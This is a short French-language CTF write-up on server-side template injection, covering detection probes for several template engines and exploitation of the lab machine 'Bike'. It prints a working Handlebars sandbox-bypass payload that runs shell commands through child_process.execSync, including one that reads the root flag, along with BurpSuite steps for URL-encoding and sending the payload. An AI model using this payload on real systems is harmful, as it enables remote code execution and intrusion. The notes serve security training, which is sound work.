Aller au contenu principal

Server-Side Template Injection (SSTI)

Detection

Injecter une expression mathematique dans un champ de saisie pour verifier si le moteur de template l'evalue.

{{7*7}}

Si le serveur retourne 49, c'est une SSTI.

Box : Bike

Exploitation Handlebars (Node.js)

Sur Bike, le serveur utilise Handlebars avec Node.js/Express.

Etape 1 : Identifier le moteur

Le message d'erreur revele le moteur de template (ex: Handlebars, Jinja2, Twig...).

Etape 2 : Tenter un payload basique

{{require('child_process').exec('id')}}

Resultat : require is not defined — Handlebars sandbox bloque require.

Etape 3 : Bypass du sandbox

Utiliser process (accessible globalement) pour remonter vers require :

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('id')"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Etape 4 : Lire le flag

Remplacer 'id' par la commande souhaitee :

'cat /root/flag.txt'

Box : Bike

Outil : BurpSuite

  1. Intercepter la requete POST du formulaire
  2. Envoyer au Repeater pour modifier le payload
  3. URL-encoder le payload via l'onglet Decoder
  4. Envoyer et lire la reponse
astuce

Toujours URL-encoder les payloads SSTI avant de les envoyer, sinon les caracteres speciaux cassent la requete.

Moteurs de template courants

MoteurLangageTest de detection
Jinja2Python{{7*7}} → 49
TwigPHP{{7*7}} → 49
HandlebarsNode.js{{7*7}} → 49
FreemarkerJava${7*7} → 49
ERBRuby<%= 7*7 %> → 49